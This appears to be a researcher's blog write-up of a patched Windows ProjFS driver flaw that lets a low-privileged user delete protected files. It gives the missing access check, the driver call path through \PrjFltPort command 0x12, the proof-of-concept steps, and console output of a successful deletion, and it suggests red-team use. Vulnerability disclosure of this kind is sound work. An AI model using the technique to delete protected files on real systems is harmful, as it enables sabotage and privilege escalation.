home..

CVE-2026-50469 - ProjFS File Delete

July patch Tuesday contained the release of my first Windows CVE, a file deletion vulnerability in the Windows ProjFS (Projected File System) driver prjflt.sys. I initially became interested in bug hunting within ProjFS after reading this blog post by Jonny Johnson which I highly recommend reading to fully understand ProjFS internals.

The shape of this vulnerability is similar to an arbitrary file write vulnerability I discovered in the AMD power profiler driver. They both stem from the same root cause: executing privileged actions on behalf of low-privileged users without performing adequate access checks.

Essentially, ProjFS acts as a phantom file system similarly to the cldflt.sys cloud mini filter driver. It stores placeholder files and folders on disk and hydrates them with the actual data on demand. From an attacker’s perspective, there is a lot of potential for abuse within this mechanism. When manually auditing this driver I asked myself several key questions:

With these questions in mind, I began manually auditing all of the file system interactions within the ProjFS driver within code paths that are reachable from a low-privileged user. I used binary ninja to look at cross references to interesting Windows APIs and then looked at the parameters set on each call site. Eventually, I found this call to FltCreateFileEx2 within PrjfOpenReparsePoint:

The interesting parameter here is the Flags parameter. The Windows documentation states that the Flags parameter takes the same options as the Options parameter of IoCreateFileEx:

Because the Flags parameter is set to 0, no access check will be performed. We can compare this to other calls to FltCreateFileEx2 within the driver and see that this is an anomaly and the parameter is set on other call sites: In PrjfLookupEntryBackingLayerNegativePathCache, the API is called with Flags set to 0x800 or IO_IGNORE_SHARE_ACCESS_CHECK

In PrjfCopyAsPlaceHolder, the API is called with Flags set to 1 or IO_FORCE_ACCESS_CHECK

Following the cross references up from PrjfOpenReparsePoint leads up to several potential entry points. An important caveat is that, in order to trigger this code path, the calling process must be able to first create a reparse point, or be able to open a pre-existing one. In order to create a reparse point on a folder, the user must have FILE_WRITE_DATA or FILE_WRITE_ATTRIBUTES permissions over the folder. So although writing a file to a folder with a reparse point via this API would not result in any elevation of privileges, there is an opportunity to delete protected files or folders within directories where a low-privileged user has file write access. This can be done via ProjFS through the PrjfDeleteFileHandler API.

The Delete Path

ProjFS exposes a filter communication port named \PrjFltPort:

\PrjFltPort
SDDL: D:P(A;;0x001f0001;;;AU)

One of the messages accepted by this port is command 0x12, handled by PrjfDeleteFileHandler which ultimately reaches the target FltCreateFileEx2 call:

PrjfDeleteFileHandler        (cmd 0x12 handler)
  -> PrjfRelPathToFullPath
  -> PrjfDecideUpdateDeleteOnFileStateAndUpdateFlags
    -> PrjfOpenAsReparsePoint
      -> PrjfOpenReparsePoint
        -> FltCreateFileEx2(..., Flags=0, ...)    <-- bug here
  -> PrjfSetDeleteDisposition
    -> FltSetInformationFile        (FileDispositionInformationEx=3 DELETE)
  -> FltClose                       (releases handle, file unlinked)

It was at this point I could see a clear path to a privileged action that could be executed because of the overly permissive FltCreateFileEx2 call. I used Claude to vibe code a PoC to prove my finding and verify the file delete primitive. Interacting with ProjFS can be a little complicated, but thankfully Pavel Yosifovich has published examples showing how it can be done.

The PoC does the following:

  1. Splits the target into a virtualization root and a relative path.
  2. Marks the directory as a ProjFS placeholder root with PrjMarkDirectoryAsPlaceholder.
  3. Starts a minimal ProjFS provider with stub callbacks.
  4. Connects to \PrjFltPort using the virtualization instance GUID.
  5. Sends command 0x12 with the relative path to delete.

The important part of the command is that it reaches PrjfDeleteFileHandler, not that the provider serves real file contents. The provider callbacks can be minimal because the exploit is not trying to hydrate a projected file. It is trying to make the driver process a delete request.

To test, I created a folder and test file as an admin, then denied all access to my low-privileged user:

C:\tools> mkdir projfs_test

C:\tools> echo PROOF > projfs_test\secret.txt

C:\tools> icacls C:\tools\projfs_test\secret.txt /inheritance:r
processed file: C:\tools\projfs_test\secret.txt
Successfully processed 1 files; Failed processing 0 files

C:\tools> icacls C:\tools\projfs_test\secret.txt /grant SYSTEM:(F)
processed file: C:\tools\projfs_test\secret.txt
Successfully processed 1 files; Failed processing 0 files

C:\tools> icacls C:\tools\projfs_test\secret.txt /grant Administrators:(F)
processed file: C:\tools\projfs_test\secret.txt
Successfully processed 1 files; Failed processing 0 files

C:\tools> icacls projfs_test\secret.txt
projfs_test\secret.txt BUILTIN\Administrators:(F)
                       NT AUTHORITY\SYSTEM:(F)

Successfully processed 1 files; Failed processing 0 files

Then from my low-privileged user’s session, verified the changes and ran the PoC:

C:\tools> type projfs_test\secret.txt
Access is denied.

C:\tools> del projfs_test\secret.txt
C:\tools\projfs_test\secret.txt
Access is denied


C:\tools> prjflt_delete.exe C:\tools\projfs_test\secret.txt
=============================================================
  prjflt.sys: Arbitrary File Deletion via Kernel Credentials
  PrjfDeleteFileHandler cmd 0x12 FltCreateFileEx2(Flags=0)
=============================================================

[*] Target:   C:\tools\projfs_test\secret.txt
[*] VirtRoot: C:\tools\projfs_test
[*] RelPath:  secret.txt

[1] Attempting normal deletion (DeleteFileW)...
  Result: FAILED error 5 (ACCESS_DENIED)

[2] Attempting deletion via prjflt.sys cmd 0x12
  VirtRoot marked with ProjFS reparse
  ProjFS provider running
  Volume GUID: \??\Volume{12ef5806-4527-40a2-8073-4bd43d7adc54}
  Connected to \PrjFltPort
  Sending cmd 0x12 delete for: secret.txt
  Driver returned: 0x00000000

[3] RESULT: FILE DELETED

The PoC can be found here

Real-World Application

Although this vuln is not a perfect arbitrary file delete primitive, I still think it could be used effectively in real world red team assessments. I had vibe coded a file scanner script to show which files could be deleted through the projected file system. This can be particularly useful in instances where application are installed outside of the Program Files folders. I’ll leave the rest of the exploitation chain as an exercise for the reader. Here are some great resources on the topic: